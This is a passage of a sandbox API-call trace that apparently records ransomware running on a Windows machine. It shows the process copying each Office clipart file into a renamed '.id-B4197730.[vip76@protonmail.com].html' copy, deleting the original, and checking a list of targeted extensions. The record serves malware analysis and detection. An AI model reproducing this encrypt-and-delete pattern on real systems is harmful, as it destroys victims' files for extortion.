	[0072.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.823] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17236) returned 1
	[0072.823] CloseHandle (hObject=0x33c) returned 1
	[0072.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220
	[0072.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.823] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.823] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0072.824] GetLastError () returned 0x0
	[0072.824] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4354, lpOverlapped=0x0) returned 1
	[0072.826] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0072.827] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.827] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.827] SetEndOfFile (hFile=0x358) returned 1
	[0072.827] CloseHandle (hObject=0x358) returned 1
	[0072.828] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.828] SetEndOfFile (hFile=0x33c) returned 1
	[0072.829] CloseHandle (hObject=0x33c) returned 1
	[0072.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1
	[0072.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.830] lstrlenW (lpString=".doc") returned 4
	[0072.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.830] lstrlenW (lpString=".docx") returned 5
	[0072.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.830] lstrlenW (lpString=".pdf") returned 4
	[0072.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.830] lstrlenW (lpString=".xls") returned 4
	[0072.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.830] lstrlenW (lpString=".xlsx") returned 5
	[0072.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.830] lstrlenW (lpString=".ppt") returned 4
	[0072.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.830] lstrlenW (lpString=".zip") returned 4
	[0072.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.830] lstrlenW (lpString=".rar") returned 4
	[0072.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.830] lstrlenW (lpString=".bz2") returned 4
	[0072.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.830] lstrlenW (lpString=".7z") returned 3
	[0072.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.830] lstrlenW (lpString=".dbf") returned 4
	[0072.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString=".1cd") returned 4
	[0072.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString=".jpg") returned 4
	[0072.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString=".doc") returned 4
	[0072.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString=".docx") returned 5
	[0072.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.831] lstrlenW (lpString=".pdf") returned 4
	[0072.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString=".xls") returned 4
	[0072.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.831] lstrlenW (lpString=".xlsx") returned 5
	[0072.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.831] lstrlenW (lpString=".ppt") returned 4
	[0072.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString=".zip") returned 4
	[0072.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.831] lstrlenW (lpString=".rar") returned 4
	[0072.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString=".bz2") returned 4
	[0072.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.831] lstrlenW (lpString=".7z") returned 3
	[0072.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.831] lstrlenW (lpString=".dbf") returned 4
	[0072.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.832] lstrlenW (lpString=".1cd") returned 4
	[0072.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0072.832] lstrlenW (lpString=".jpg") returned 4
	[0072.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.832] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.832] lstrlenW (lpString="BD06102_.WMF") returned 12
	[0072.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.832] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16112) returned 1
	[0072.832] CloseHandle (hObject=0x33c) returned 1
	[0072.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220
	[0072.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.833] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.833] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0072.833] GetLastError () returned 0x0
	[0072.833] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x3ef0, lpOverlapped=0x0) returned 1
	[0073.213] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0073.221] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.221] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.221] SetEndOfFile (hFile=0x358) returned 1
	[0073.221] CloseHandle (hObject=0x358) returned 1
	[0073.222] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.222] SetEndOfFile (hFile=0x33c) returned 1
	[0073.223] CloseHandle (hObject=0x33c) returned 1
	[0073.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1
	[0073.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.379] lstrlenW (lpString=".doc") returned 4
	[0073.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.379] lstrlenW (lpString=".docx") returned 5
	[0073.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.379] lstrlenW (lpString=".pdf") returned 4
	[0073.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString=".xls") returned 4
	[0073.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.380] lstrlenW (lpString=".xlsx") returned 5
	[0073.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.380] lstrlenW (lpString=".ppt") returned 4
	[0073.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString=".zip") returned 4
	[0073.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.380] lstrlenW (lpString=".rar") returned 4
	[0073.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString=".bz2") returned 4
	[0073.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString=".7z") returned 3
	[0073.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString=".dbf") returned 4
	[0073.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString=".1cd") returned 4
	[0073.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString=".jpg") returned 4
	[0073.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.380] lstrlenW (lpString=".doc") returned 4
	[0073.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.380] lstrlenW (lpString=".docx") returned 5
	[0073.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.380] lstrlenW (lpString=".pdf") returned 4
	[0073.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString=".xls") returned 4
	[0073.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.381] lstrlenW (lpString=".xlsx") returned 5
	[0073.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.381] lstrlenW (lpString=".ppt") returned 4
	[0073.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.381] lstrlenW (lpString=".zip") returned 4
	[0073.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.381] lstrlenW (lpString=".rar") returned 4
	[0073.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString=".bz2") returned 4
	[0073.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString=".7z") returned 3
	[0073.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.381] lstrlenW (lpString=".dbf") returned 4
	[0073.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.381] lstrlenW (lpString=".1cd") returned 4
	[0073.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0073.381] lstrlenW (lpString=".jpg") returned 4
	[0073.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.381] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0073.381] lstrlenW (lpString="BD10972_.GIF") returned 12
	[0073.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.644] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=20189) returned 1
	[0073.645] CloseHandle (hObject=0x2c0) returned 1
	[0073.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220
	[0073.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.679] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.679] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.679] GetLastError () returned 0x0
	[0073.679] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4edd, lpOverlapped=0x0) returned 1
	[0073.681] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0073.682] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.682] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.682] SetEndOfFile (hFile=0x390) returned 1
	[0073.683] CloseHandle (hObject=0x390) returned 1
	[0073.684] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.684] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.685] CloseHandle (hObject=0x2c0) returned 1
	[0073.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1
	[0073.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.686] lstrlenW (lpString=".doc") returned 4
	[0073.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.686] lstrlenW (lpString=".docx") returned 5
	[0073.686] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.686] lstrlenW (lpString=".pdf") returned 4
	[0073.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.686] lstrlenW (lpString=".xls") returned 4
	[0073.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.686] lstrlenW (lpString=".xlsx") returned 5
	[0073.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.686] lstrlenW (lpString=".ppt") returned 4
	[0073.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.686] lstrlenW (lpString=".zip") returned 4
	[0073.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.686] lstrlenW (lpString=".rar") returned 4
	[0073.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.686] lstrlenW (lpString=".bz2") returned 4
	[0073.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.686] lstrlenW (lpString=".7z") returned 3
	[0073.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.686] lstrlenW (lpString=".dbf") returned 4
	[0073.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.686] lstrlenW (lpString=".1cd") returned 4
	[0073.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.687] lstrlenW (lpString=".jpg") returned 4
	[0073.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.687] lstrlenW (lpString=".doc") returned 4
	[0073.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.687] lstrlenW (lpString=".docx") returned 5
	[0073.687] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.687] lstrlenW (lpString=".pdf") returned 4
	[0073.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString=".xls") returned 4
	[0073.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString=".xlsx") returned 5
	[0073.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.687] lstrlenW (lpString=".ppt") returned 4
	[0073.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.687] lstrlenW (lpString=".zip") returned 4
	[0073.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString=".rar") returned 4
	[0073.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.687] lstrlenW (lpString=".bz2") returned 4
	[0073.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.687] lstrlenW (lpString=".7z") returned 3
	[0073.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.687] lstrlenW (lpString=".dbf") returned 4
	[0073.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.688] lstrlenW (lpString=".1cd") returned 4
	[0073.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0073.688] lstrlenW (lpString=".jpg") returned 4
	[0073.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.688] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.688] lstrlenW (lpString="BD19827_.WMF") returned 12
